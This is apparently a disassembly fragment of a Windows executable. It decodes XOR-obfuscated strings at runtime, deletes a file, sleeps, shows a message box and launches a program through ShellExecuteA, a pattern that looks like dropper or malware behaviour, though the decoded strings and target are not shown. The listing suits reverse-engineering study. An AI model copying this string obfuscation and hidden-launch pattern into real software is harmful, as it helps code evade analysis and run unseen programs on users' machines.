call fcn.14007dc60
lea rcx, [rbp + 0x1f0]
call qword [sym.imp.KERNEL32.dll_DeleteFileA]
jmp 0x140062fce
movdqa xmm0, xmmword [0x1400c7680]
movdqu xmmword [rbp + 0x1b0], xmm0
movdqa xmm1, xmmword [0x1400c70e0]
movdqu xmmword [rbp + 0x1c0], xmm1
movdqa xmm0, xmmword [0x1400c7170]
movdqu xmmword [rbp + 0x1d0], xmm0
mov word [rbp + 0x1e0], 0xc1e1
mov r9d, esi
mov r14d, 8
mov r10d, r14d
lea r11, [rbp + 0x1b8]
movdqa xmm4, xmmword [0x1400c6080]
mov edi, dword [rsp + 0x70]
nop dword [rax]
movd xmm1, r9d
pshufd xmm1, xmm1, 0
paddd xmm1, xmm7
andps xmm1, xmm4
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, edi
psubb xmm1, xmm0
movd xmm0, dword [r11 - 8]
xorps xmm1, xmm0
movd dword [r11 - 8], xmm1
lea eax, [r10 - 1]
lea ecx, [r10 - 2]
lea edx, [r10 - 3]
lea r8d, [r10 - 4]
movd xmm1, eax
movd xmm2, ecx
movd xmm0, edx
movd xmm3, r8d
punpckldq xmm2, xmm1
punpckldq xmm3, xmm0
punpcklqdq xmm3, xmm2
andps xmm3, xmm4
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edi
psubb xmm3, xmm0
movd xmm0, dword [r11 - 4]
xorps xmm3, xmm0
movd dword [r11 - 4], xmm3
movd xmm1, r10d
pshufd xmm1, xmm1, 0
paddd xmm1, xmm7
andps xmm1, xmm4
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, edi
psubb xmm1, xmm0
movd xmm0, dword [r11]
xorps xmm1, xmm0
movd dword [r11], xmm1
lea eax, [r10 + 7]
lea ecx, [r10 + 6]
lea edx, [r10 + 5]
lea r8d, [r10 + 4]
movd xmm1, eax
movd xmm2, ecx
movd xmm0, edx
movd xmm3, r8d
punpckldq xmm2, xmm1
punpckldq xmm3, xmm0
punpcklqdq xmm3, xmm2
andps xmm3, xmm4
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edi
psubb xmm3, xmm0
movd xmm0, dword [r11 + 4]
xorps xmm3, xmm0
movd dword [r11 + 4], xmm3
add r9d, 0x10
add r10d, 0x10
lea r11, [r11 + 0x10]
cmp r10d, 0x38
jb 0x140063f30
cmp r9d, 0x31
jae 0x140064073
mov eax, r9d
lea rcx, [rbp + 0x1b0]
add rcx, rax
nop word [rax + rax]
lea eax, [r9 - 0x70]
xor byte [rcx], al
inc r9d
lea rcx, [rcx + 1]
cmp r9d, 0x31
jb 0x140064060
mov byte [rbp + 0x1e1], 0
movdqa xmm0, xmmword [0x1400c6b50]
movdqu xmmword [rbp + 0x70], xmm0
movdqa xmm1, xmmword [0x1400c68a0]
movdqu xmmword [rbp + 0x80], xmm1
mov dword [rbp + 0x90], 0x1c5a3c36
mov word [rbp + 0x94], 0x9421
mov byte [rbp + 0x96], 0xb6
mov r9d, esi
lea r10, [rbp + 0x78]
nop dword [rax + rax]
movd xmm1, r9d
pshufd xmm1, xmm1, 0
paddd xmm1, xmm7
andps xmm1, xmm4
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, edi
psubb xmm1, xmm0
movd xmm0, dword [r10 - 8]
xorps xmm1, xmm0
movd dword [r10 - 8], xmm1
lea eax, [r14 - 1]
lea ecx, [r14 - 2]
lea edx, [r14 - 3]
lea r8d, [r14 - 4]
movd xmm1, eax
movd xmm2, ecx
movd xmm0, edx
movd xmm3, r8d
punpckldq xmm2, xmm1
punpckldq xmm3, xmm0
punpcklqdq xmm3, xmm2
andps xmm3, xmm4
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edi
psubb xmm3, xmm0
movd xmm0, dword [r10 - 4]
xorps xmm3, xmm0
movd dword [r10 - 4], xmm3
movd xmm1, r14d
pshufd xmm1, xmm1, 0
paddd xmm1, xmm7
andps xmm1, xmm4
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, edi
psubb xmm1, xmm0
movd xmm0, dword [r10]
xorps xmm1, xmm0
movd dword [r10], xmm1
lea eax, [r14 + 7]
lea ecx, [r14 + 6]
lea edx, [r14 + 5]
lea r8d, [r14 + 4]
movd xmm1, eax
movd xmm2, ecx
movd xmm0, edx
movd xmm3, r8d
punpckldq xmm2, xmm1
punpckldq xmm3, xmm0
punpcklqdq xmm3, xmm2
andps xmm3, xmm4
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edi
psubb xmm3, xmm0
movd xmm0, dword [r10 + 4]
xorps xmm3, xmm0
movd dword [r10 + 4], xmm3
add r9d, 0x10
add r14d, 0x10
lea r10, [r10 + 0x10]
cmp r14d, 0x28
jb 0x1400640c0
cmp r9d, 0x26
jae 0x1400641f5
mov eax, r9d
lea rcx, [rbp + 0x70]
add rcx, rax
lea eax, [r9 - 0x70]
xor byte [rcx], al
inc r9d
lea rcx, [rcx + 1]
cmp r9d, 0x26
jb 0x1400641e2
mov byte [rbp + 0x96], 0
cmp dword [0x1400d7e48], 1
sete sil
mov dword [0x1400d7d70], esi
lea rdx, [rbp + 0x70]
lea rcx, [rbp + 0x1b0]
cmovne rdx, rcx
nop dword [rax]
inc rbx
cmp byte [rdx + rbx], 0
jne 0x140064220
mov r8, rbx
lea rcx, [0x1400dae18]
call fcn.14007dc60
nop
mov rdx, qword [rbp + 0x1a8]
cmp rdx, 0xf
jbe 0x14006266e
inc rdx
mov rcx, qword [rbp + 0x190]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140062669
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140064290
jmp 0x140062669
call fcn.140096f5c
nop
call fcn.140096f5c
int3
call fcn.140096f5c
int3
call fcn.140096f5c
nop
call fcn.140096f5c
nop
call fcn.140096f5c
nop
call fcn.140096f5c
nop
call fcn.140096f5c
int3
mov ecx, 0x12c
call qword [sym.imp.KERNEL32.dll_Sleep]
cmp dword [0x1400d7e48], 1
jne 0x1400642ed
lea rdx, [rsp + 0x40]
call fcn.1400643b0
mov rcx, rax
call fcn.14007bc80
mov r10, rax
lea rdx, [rbp + 0x70]
call fcn.140064370
mov rcx, rax
call fcn.14007bca0
mov r8, r10
jmp 0x140064316
lea rdx, [rsp + 0x48]
call fcn.140064470
mov rcx, rax
call fcn.14007bb10
mov r11, rax
lea rdx, [rbp - 0x50]
call fcn.1400643c0
mov rcx, rax
call fcn.14007bb40
mov r8, r11
mov r9d, 0x40
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxW]
lea rdx, [rsp + 0x40]
call fcn.140064490
mov rcx, rax
call fcn.14007bd90
mov rdx, rax
mov dword [rsp + 0x28], 1
mov qword [rsp + 0x20], rsi
xor r9d, r9d
lea r8, [rbp + 0x410]
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
xor ecx, ecx
call fcn.140093e5c
int3